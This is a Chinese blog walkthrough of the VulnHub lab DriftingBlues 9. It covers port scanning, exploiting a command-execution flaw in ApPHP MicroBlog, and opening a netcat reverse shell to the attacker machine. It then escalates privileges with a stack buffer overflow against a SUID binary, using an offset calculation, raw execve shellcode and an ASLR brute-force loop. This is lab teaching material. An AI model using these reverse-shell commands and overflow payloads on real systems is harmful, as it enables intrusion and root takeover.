首页 > 其他分享 >vulnhub靶场之DRIFTINGBLUES: 9 (FINAL)

vulnhub靶场之DRIFTINGBLUES: 9 (FINAL)

时间:2023-02-22 12:11:49浏览次数:37  
标签:clapton DRIFTINGBLUES 命令 vulnhub xd0 input txt FINAL xf7

准备:

攻击机:虚拟机kali、本机win10。

靶机:DriftingBlues: 9 (final),下载地址:https://download.vulnhub.com/driftingblues/driftingblues9.ova,下载后直接vbox打开即可。

知识点:内存溢出、ApPHP MicroBlog Free框架漏洞。

注意:这个难度真不是easy,之前做过一个内存溢出靶场的:https://www.cnblogs.com/upfine/p/17140035.html。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.31.0/24,获得靶机地址:192.168.31.91。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.31.91,显示开放了80、111端口,开启了http服务、rpcbind。

目录扫描:

使用gobuster尝试对80端口进行目录扫描,发现README.txt等文件。

在web服务中访问README.txt文件信息,获得框架版本信息:ApPHP MicroBlog Free 和Version: 1.0.1。

框架漏洞获取shell:

使用searchsploit搜索下ApPHP MicroBlog Free框架的漏洞信息,发现存在一个命令执行漏洞。

使用python2执行该php文件进行漏洞利用,命令:python2 33070.py http://192.168.31.91/index.php,成功获得命令执行权限,并获得一组数据库的账户和密码信息:clapton/yaraklitepe。

使用命令执行窗口进行命令执行时,发现很多命令无法使用,因此尝试进行shell反弹,命令:nc 192.168.31.64 6688 -e /bin/bash,时候使用命令:python -c 'import pty;pty.spawn("/bin/bash")';升级shell。

提权-clapton:

在/home目录下发现账户信息:clapton,与刚才发现的数据库的账户信息一致,因此使用:clapton/yaraklitepe进行尝试切换账户,命令:su clapton,成功切换到clapton账户。

获得clapton账户权限后在/home/clapton目录下发现user.txt、note.txt、input文件,访问user.txt文件,成功获得flag信息。

提权-root:

查看note.txt文件,发现对我们的提示信息:buffer overflow is the way. ( ° ʖ °),告诉我们要利用缓冲区漏洞(或者下载文件后strings input,发现其存在一个未进行限制的strcpy函数,也可以确定)。

通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件,也只发现了/home目录下的input文件。

尝试执行input,提示我们需要输入字符串。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现是被开启的。

sudo命令无法使用,没办法关闭ASLR,先把文件下载下来分析下吧,命令:scp input [email protected]:/home/kali/Desktop,成功下载input文件。第一次失败是因为kali未开启ssh服务。(这里在把靶机中也是可以直接做的,取出来只是为了方便测试payload)

关掉本地的ASLR进行测试,命令:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x41376641。

计算下此地址:0x41376641的偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41376641,得到其偏移量为171。用 python 构造字符串:$(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')。

查看下esp寄存器的值,命令:x/s $esp,得到:0xffffd040。用esp 寄存器的替换 4 个 B,因为是小字节序,倒过来写,构造 payload:$(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

利用构造的payload在本地进行测试,成功获得root权限,命令:r $(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')。

读取下靶机中的esp值,获得:0xbfa4eca0,替换掉上面kali payload中的esp值。

因为靶机上ASLR无法关闭,因此进行多次执行,payload:for i in {1..10000}; do (./input $(python2 -c 'print("A" * 171 + "\xa0\xec\xa4\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')) ; done。获得shell权限后在/root目录下发现root.txt文档,读取该文档信息,成功获得flag值。

标签:clapton,DRIFTINGBLUES,命令,vulnhub,xd0,input,txt,FINAL,xf7
From: https://www.cnblogs.com/upfine/p/17140035.html

相关文章

  • android - ViewHolder到底用什么修饰?static?final?static final?
    静态内部类主要作用就是,内部类是否需要隔离“外部类的this对象(指针)”。内部类是有this指针的,可以“直接”访问外部类的成员变量和成员函数(包括私有的成员)。而静态内部类,......
  • Vulnhub:ReconForce-01.1靶机
    kali:192.168.111.111靶机:192.168.111.200信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.200访问目标ftp得到提示:Security@hackNos访问......
  • final和override
    override:当在父类中使用了虚函数时候,你可能需要在某个子类中对这个虚函数进行重写,以下方法都可以:classA{virtualvoidfoo();}classB:publicA{void......
  • [Vulnhub] CHERRY: 1
    下载地址0x00配置攻击机IP:192.168.10.5靶机IP:192.168.10.70x01攻击用Namp扫描靶机开放的端口┌──(root㉿azwhikaru)-[/home/azwhikaru/Desktop]└─#n......
  • [Vulnhub] FIRSTBLOOD: 1
    下载地址0x00配置攻击机IP:192.168.10.5靶机IP:192.168.10.60x01攻击使用Nmap扫描靶机开放的端口┌──(root㉿azwhikaru)-[~]└─#nmap-A192.168.10.6......
  • Vulnhub之Kioptrix Level 2靶机详细测试过程(提权成功)
    KioptrixLevel2识别目标主机IP地址(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]└─$sudonetdiscover-ieth1-r10.1.1.0/24Currentlyscanning:10.1.1.0/24......
  • Vulnhub之Kioptrix Level 1靶机详细测试过程(不同的拿shell方法,利用OpenFuck漏洞)
    KioptrixLevel1作者:jason_huawen靶机信息名称:Kioptrix:Level1(#1)地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/识别目标主机IP地址(kali㉿kal......
  • Vulnhub:mhz_c1f靶机
    kali:192.168.111.111靶机:192.168.111.197信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.197目录爆破feroxbuster-k-d1--urlhttp:/......
  • VulnHub-covfefe: 1
    靶机地址:https://www.vulnhub.com/entry/covfefe-1,199/目标:取得3个flag注:由于一直换位置,导致IP有所变化,并非书写错误一、主机发现nmap-sP192.168.31.0/24|gr......
  • try...catch中finally子句的使用
    目录:finally的使用finally面试题final、finally、finalize的区别finally子句的使用:1、在finally子句中的代码是最后且一定会执行的,即使try语句块中的代码出现异常2......